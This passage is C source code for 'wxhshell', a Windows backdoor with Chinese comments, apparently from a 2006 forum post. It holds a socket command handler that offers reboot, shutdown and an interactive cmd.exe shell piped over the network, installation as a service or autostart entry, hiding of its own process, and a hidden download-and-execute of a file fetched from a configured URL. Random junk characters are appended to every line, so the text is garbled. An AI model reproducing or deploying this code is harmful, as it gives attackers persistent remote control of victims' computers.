  5k_%%><: q  
  // 帮助 IL8&MA%  
  case '?': { w4y ???90)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #6AcM"  
    break; '@^<c#h]=  
  } aLevml2:T  
  // 安装 j~2t^Qz  
  case 'i': { yOjTiVQ9  
    if(Install()) .R+n}>+K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); USf;}F:-C  
    else KG5B6Om5'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /4BYH?*  
    break; %'F[(VB   
    } Se/]J<]  
  // 卸载 !Je!;mEvI  
  case 'r': { M>Ws}Y  
    if(Uninstall()) xs  >Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h" YA>_1  
    else h 7\EN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ELV$!f|u  
    break; +]Bx4r?p  
    } QZ-6aq\sgp  
  // 显示 wxhshell 所在路径 Rm.9`<Y  
  case 'p': { ilj9&.isB  
    char svExeFile[MAX_PATH]; ctC! b{S"@  
    strcpy(svExeFile,"\n\r"); kZ_5R#xK  
      strcat(svExeFile,ExeFile); ~o ;*{ Q  
        send(wsh,svExeFile,strlen(svExeFile),0); YF");itH  
    break; eR1]<Z$W\  
    } n@e|PWu  
  // 重启 $/i;UUd  
  case 'b': { 2L2)``*   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7 ( /  
    if(Boot(REBOOT)) [VB\ T|$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A^7Y%  
    else { d 7QWK(d  
    closesocket(wsh); n;dp%SD  
    ExitThread(0); NE$=R"<Gv  
    } 7^8<[8  
    break; -,xsUw4  
    } My >{;n=}  
  // 关机 W^nG\"T^  
  case 'd': { 0Z[8d0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); } SA/,4/9  
    if(Boot(SHUTDOWN)) v?1xYG@1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m>?{flO  
    else { EEp,Z`  
    closesocket(wsh); ~_L_un.R  
    ExitThread(0); G5x%:,n  
    } b!|c:mE9|  
    break; Q[F$6m%o  
    } zw X 1&rN  
  // 获取shell w0t||qj^>"  
  case 's': { xqzdXL}  
    CmdShell(wsh); au1(.(  
    closesocket(wsh); C@ z^{Z+  
    ExitThread(0); \xaK?_hv  
    break; g*#.yC1/  
  } g TP0:  
  // 退出 aq,?  
  case 'x': { RnkrI~x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xBcE>^{1.  
    CloseIt(wsh); [<{+tAdn)  
    break; '.DFyHsq  
    } ~lLIq!!\  
  // 离开 ugt|'i  
  case 'q': { G_x<2E"d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yf(QU`w_  
    closesocket(wsh); Go_~8w0<  
    WSACleanup(); )Wm:Ilq  
    exit(1); DbkKmv&  
    break; %,*{hhfu  
        } /e}NZo{)g  
  } p[%FH?  
  } _gF )aE  
Dx27s  
  // 提示信息 f?A*g$v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i/U HDqZ  
} i~6qOlLD-  
  } oos7x6  
DrB PC@^  
  return; FCEFg)c5=  
} paW7.~3 R  
+O @0gl  
// shell模块句柄 oUBn:Ir@  
int CmdShell(SOCKET sock) $/Q*@4t  
{ 7.l[tKh  
STARTUPINFO si; g k[8'  
ZeroMemory(&si,sizeof(si)); LN?W~^gsR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uN1O(s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =7mn= w?  
PROCESS_INFORMATION ProcessInfo; W]rK*Dc  
char cmdline[]="cmd"; !1}A\S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q~=]_PMP  
  return 0; _ZfJfd~  
} rBZ 0(XSZQ  
FHS6Mk26  
// 自身启动模式 y  ZsC>  
int StartFromService(void) 5[Yzi> o[  
{ 64>o3Hb2  
typedef struct /-l7GswF  
{ $;dSM<r  
  DWORD ExitStatus; ]I#yS=;  
  DWORD PebBaseAddress; k/yoRv%  
  DWORD AffinityMask; Hinz6k6!  
  DWORD BasePriority; viT/$7`AI  
  ULONG UniqueProcessId; >I3#ALF  
  ULONG InheritedFromUniqueProcessId; {? jr  
}   PROCESS_BASIC_INFORMATION; O&?i8XsB  
Q!:J.J  
PROCNTQSIP NtQueryInformationProcess; iC`K$LY4W  
!e >EDYbY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N(W ;(7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [s4lSGh  
w"O^CR)  
  HANDLE             hProcess; V\"x#uB  
  PROCESS_BASIC_INFORMATION pbi; m]$!wp  
 T^ ^o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~g+?]Lk}  
  if(NULL == hInst ) return 0; wYJ.F  
dhW)<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h`OX()N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dw8Ce8W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hSq3LoHV  
sV+/JDl  
  if (!NtQueryInformationProcess) return 0; ! 3O#'CV  
!52]'yub  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8=H!&+aGh  
  if(!hProcess) return 0; Yqy7__vm  
2 Ke?*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u|.L7 3<j%  
wPYz&&W  
  CloseHandle(hProcess); lz1l1.f8  
`Li3=!V[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G-[fz  
if(hProcess==NULL) return 0; Lmx95[#@a  
{(i>$RG_  
HMODULE hMod; +v3@WdLcD  
char procName[255]; :e 5)Q=lX  
unsigned long cbNeeded; #=@( m.k:s  
@JS O=8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W~J@v@..4  
ON|Bpt2Qp  
  CloseHandle(hProcess); : uglv6  
Rdd[b?  
if(strstr(procName,"services")) return 1; // 以服务启动 y-gSal  
:yo tpa  
  return 0; // 注册表启动 F7wpGtt  
} oO-kO!59y  
"k(Ee  
// 主模块 f:gXXigY,  
int StartWxhshell(LPSTR lpCmdLine) xioL6^(Qk,  
{ K)c`G_%G  
  SOCKET wsl; UUGwXq96i  
BOOL val=TRUE; sXdNlR&  
  int port=0; 't:|>;Wx  
  struct sockaddr_in door; ][1 *.7-  
SyFO f  
  if(wscfg.ws_autoins) Install(); g<VJ4TE6R  
4hep1Kz%  
port=atoi(lpCmdLine); )>$@cH  
<o8j+G)K#  
if(port<=0) port=wscfg.ws_port; ^b=9{.5  
\Jr ta  
  WSADATA data; @bQf =N+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1-4iy_d  
,rT62w*e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RfVVAaI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8_6\>hW&  
  door.sin_family = AF_INET; e#MEDjm/)g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lL.3$Rp;  
  door.sin_port = htons(port); {k=H5<FV  
h=uwOi6}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dHV3d'.P  
closesocket(wsl); &R:$h*Wt|  
return 1; y<bA Y_-[  
} 2yk32|  
KiU/N$ E  
  if(listen(wsl,2) == INVALID_SOCKET) { :!a'N3o>  
closesocket(wsl); 8{ aS$V"  
return 1; I^*&u,  
} z;GR(;w/  
  Wxhshell(wsl); c`94a SnV  
  WSACleanup(); D3s]49j)  
pZ?7'+u$L  
return 0; ~wmc5L/!?  
:uE:mY%R  
} #'N"<o[  
RHc63b\  
// 以NT服务方式启动 w,fA-*bZ 0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [;3` Aw  
{ jdsNZV  
DWORD   status = 0; AV\6K;~  
  DWORD   specificError = 0xfffffff; Ww&~ZZZ {  
8.4 1EKr2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J0@<6~V6o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d?G ~k[C!a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #?/&H;n_8S  
  serviceStatus.dwWin32ExitCode     = 0; Y;ytm #=  
  serviceStatus.dwServiceSpecificExitCode = 0; fG2hCP+  
  serviceStatus.dwCheckPoint       = 0; B2\R#&X.  
  serviceStatus.dwWaitHint       = 0; a[;TUc^I1F  
bkfwsYZx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =~M%zdIXv  
  if (hServiceStatusHandle==0) return; I^>m-M.  
eYd6~T[9  
status = GetLastError(); i`-,=RJ  
  if (status!=NO_ERROR) :td#zM  
{ w8$rt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 56k89o  
    serviceStatus.dwCheckPoint       = 0; VPG+]> *  
    serviceStatus.dwWaitHint       = 0; v0762w  
    serviceStatus.dwWin32ExitCode     = status; $I40 hk  
    serviceStatus.dwServiceSpecificExitCode = specificError; 69#D,ME?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VhdMKq~`  
    return; "J|_1!9  
  } WqX#T  
:<$B o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s ~'><ioh  
  serviceStatus.dwCheckPoint       = 0; H'N$Vv2q  
  serviceStatus.dwWaitHint       = 0; 6[g~p< 8n}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XRi/O)98o  
} P70\ |M0~y  
DA'A-C2  
// 处理NT服务事件,比如:启动、停止 \LX!n!@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )c vA}U.z  
{ rv>K0= t0  
switch(fdwControl) LgN\%5f-  
{ !vNZ- }  
case SERVICE_CONTROL_STOP: L'XX++2  
  serviceStatus.dwWin32ExitCode = 0; nO{@p_3mi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rv R ,V  
  serviceStatus.dwCheckPoint   = 0; Sn 3@+9J  
  serviceStatus.dwWaitHint     = 0; b'\a 4  
  { t Dx!m~[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6")co9  
  } q:A{@kFq_  
  return; a%f?OsY  
case SERVICE_CONTROL_PAUSE: 'Oyx X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y{yN*9a79  
  break; Hd)z[6u8eT  
case SERVICE_CONTROL_CONTINUE: c5~d^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NPjh2 AJm  
  break; hZ_0lX}  
case SERVICE_CONTROL_INTERROGATE: _2*Ryz  
  break; moO=TGG;F  
}; Z Z1s}TG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -&87nR(eW  
} VT.BHZ  
Gt{'` P,&9  
// 标准应用程序主函数 mIu-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WU oGIT'  
{ /9/svPc]  
;DWtCtD  
// 获取操作系统版本 \@]/ks=K  
OsIsNt=GetOsVer(); 9$0-UUCk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c-S_{~~  
joaf0  
  // 从命令行安装 yl63VX8w}  
  if(strpbrk(lpCmdLine,"iI")) Install(); yP:/F|E$  
7/*a  
  // 下载执行文件 n7UZ&ab  
if(wscfg.ws_downexe) { Qg]8~^ Q<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nsChNwPX  
  WinExec(wscfg.ws_filenam,SW_HIDE); W)rE_tw,|  
} eM)E3~K:2  
NXhQdf  
if(!OsIsNt) { cZ$!_30N+  
// 如果时win9x,隐藏进程并且设置为注册表启动 iy&*5U  
HideProc(); :/e= J  
StartWxhshell(lpCmdLine); v` 9^?Xw)  
} A/kRw'6  
else w3j51v` 0'  
  if(StartFromService()) Z,~"`9>Ss  
  // 以服务方式启动 pPztUz/.  
  StartServiceCtrlDispatcher(DispatchTable); K*&?+_v :  
else F^iv1b  
  // 普通方式启动 F_Q,j]0  
  StartWxhshell(lpCmdLine); RfPRCIo  
I"*;fdm  
return 0; }@Mx@ S  
}
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只看该作者 1 发表于: 2006-10-10
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